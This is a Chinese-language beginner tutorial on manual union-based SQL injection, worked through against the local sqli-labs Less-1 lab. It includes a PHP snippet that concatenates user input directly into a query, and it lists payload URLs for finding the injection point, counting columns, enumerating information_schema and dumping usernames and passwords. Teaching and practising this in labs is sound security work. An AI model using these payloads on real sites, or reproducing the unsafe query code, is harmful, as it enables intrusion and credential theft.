導讀:基本瞭解到SQL相關語句後,可以進行SQL注入的學習,其中又包括了很多種,今天先從最簡單的開始。
一、SQL注入原理
SQL注入就是把SQL命令插入到Web表單然後提交到所在頁面請求(查詢字符串),從而達到欺騙服務器執行惡意的SQL命令。
它是利用現在已有的應用程序,將SQL語句插入到數據庫中執行,執行一些並非按照設計者意圖的SQL語句。
產生原因:是程序沒有細緻過濾用戶輸入的數據,從而導致非法數據進入系統。
相關技術原理:SQL注入可以分為平臺層注入和代碼注入。前者是由不安全的數據庫配置或平臺漏洞所致。或者是程序員對輸入未進行細緻過濾產生。
這種攻擊的要訣在於將SQL的查詢/行為命令通過‘嵌入’的方式放入合法的HTTP提交請求中從而達到攻擊者的某種意圖。現在很多的動態網頁都會從該網頁使用者的請求中得到某些參數,然後動態的構成SQL請求發給數據庫的。
舉個例子,當有某個用戶需要通過網頁上的用戶登陸(用戶身份驗證)時,動態網頁會將該用戶提交上來的用戶名與密碼加進SQL詢問請求發給數據庫,用於確認該用戶提交的身份驗證信息是否有效。在SQL注入攻擊的角度看來,這樣可以使我們在發送SQL請求時通過修改用戶名與/或密碼值的‘領域’區來達到攻擊的目的。
但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況。必須根據具體情況進行分析,構造巧妙的SQL語句,從而成功獲取想要的數據。
二、從網頁傳入參數注入
這是SQL注入中最常見的方法,並且根據該注入原理有跟多SQL注入工具
同樣,首先應測試是否存在注入漏洞,簡單的:’ 或 and 1=1 and 1=2之類的SQL語句。
如果沒有檢測,直接運行SQL語句,說明有機會注入。
舉例:
從參數注入,簡單的測試方法是:
① http://www.xxx.com/index.php?id=2
② http://www.xxx.com/index.php?id=2' and 1=1
③ http://www.xxx.com/index.php?id=2' and 1=2
可以注入的表現:
① 正常顯示(這是必然的,不然程序就有錯)
② 正常顯示,內容基本與①相同
③ 提示BOF或EOF(程序沒做任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容為空(程序加了on error resume next)
先來看index.php文件
以下內容為部分程序代碼:
……
$id=$_GET['id']; //接受get傳遞的參數名為id的值並賦值給變量id
......
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 把查詢到的結果賦值給變量名sql
......
echo 'Your Login name:'. $row['username']; //在網頁上顯示字段名為username 的字段值
echo "<br>";
echo 'Your Password:' .$row['password'];
(1)猜表名:
http://www.xxx.com/index.php?id=2' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 回顯的就是你猜測的表名。
(2)猜字段名:
http://www.xxx.com/index.php?id=2' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' limit 0,1 回顯的就是字段名
如果不太懂,沒關係,下面具體講解:
三、注入具體步驟示例:
步驟:
1 先判斷是否有注入點 and 1=1 and 1=2
2 再判斷字段數量 order by x 如果頁面回顯正常,則字段數為 order by 後面的數字
3 使用聯合查詢 union
示例:
1. 網頁中 http://127.0.0.1/sqli/Less-1/?id=1 相當於下面語句
所以在網頁裡需要自己輸入閉合的一對引號 http://127.0.0.1/sqli/Less-1/?id=1' and 1=1 --+
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 --+
判斷‘ 後為注入點。
2、 查詢當前表格的字段長度
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+ 結果顯示正常
http://127.0.0.1/sqli/Less-1/?id=1' order by 4 --+ 結果顯示錯誤
得出有三個字段。
3、 用 union 語句查看當前是哪幾位有效
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 --+ 結果為2和3 所以有效位為後兩位
4、 根據有效位置為2、3位,所以可以更改這兩位的變量,可查找當前的數據庫名。
補充一點SQL基礎:
1 select @@basedir 查詢數據庫安裝路徑
2 select @@datadir 查詢數據庫所在目錄
3 select version() 查詢數據庫的版本
4 select user() 查詢當前數據庫的使用用戶
5 select database() 當前使用數據庫的名字
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,database(),3 --+
5、 查看當前數據庫裡有哪些表,查詢之後一共就只有四個表。
(補充:
Mysql5.0以上版本手工注入
Information_schema:存儲mysql數據庫下所有數據庫的表名和列名信息的自帶數據庫
information_schema.schemata:存儲mysql數據庫下所有數據庫的庫名信息的表 (字段名為 schema_name的字段值)
information_schema.tables:存儲mysql數據庫下所有數據庫的表名信息的表 (字段名為 table_name:表名
條件為 table_schema:數據庫名 )
information_schema.columns:存儲mysql數據庫下所有數據庫的列名信息的表 (字段名為column_name:的字段值))
6、 根據查詢到的有用信息表user,想查看其表中有哪些屬性即列名。
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema='security' limit 0,1--+
查詢結果有三項分別為 id、username、password
7、 查看users表裡面具體的用戶信息。
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,username,password from users limit 0,1--+
一共查到了12個用戶記錄。
總結:要想實現注入,首先要找到注入點,使用聯合查詢的語句時都需要將語句寫在一個閉合的空間內,這個空間就是通過查找注入點並添加的一個閉合的引號內。在網站中使用的查詢語句在Mysql中都是可以實現的。
基本步驟:
一、找到注入點;
二、判斷當前表的字段;
三、用聯合語句查看哪幾位是有效位;
四、查看當前數據庫中有哪些表;
五、查看錶中有哪些屬性;
六、查看錶中具體的數據信息。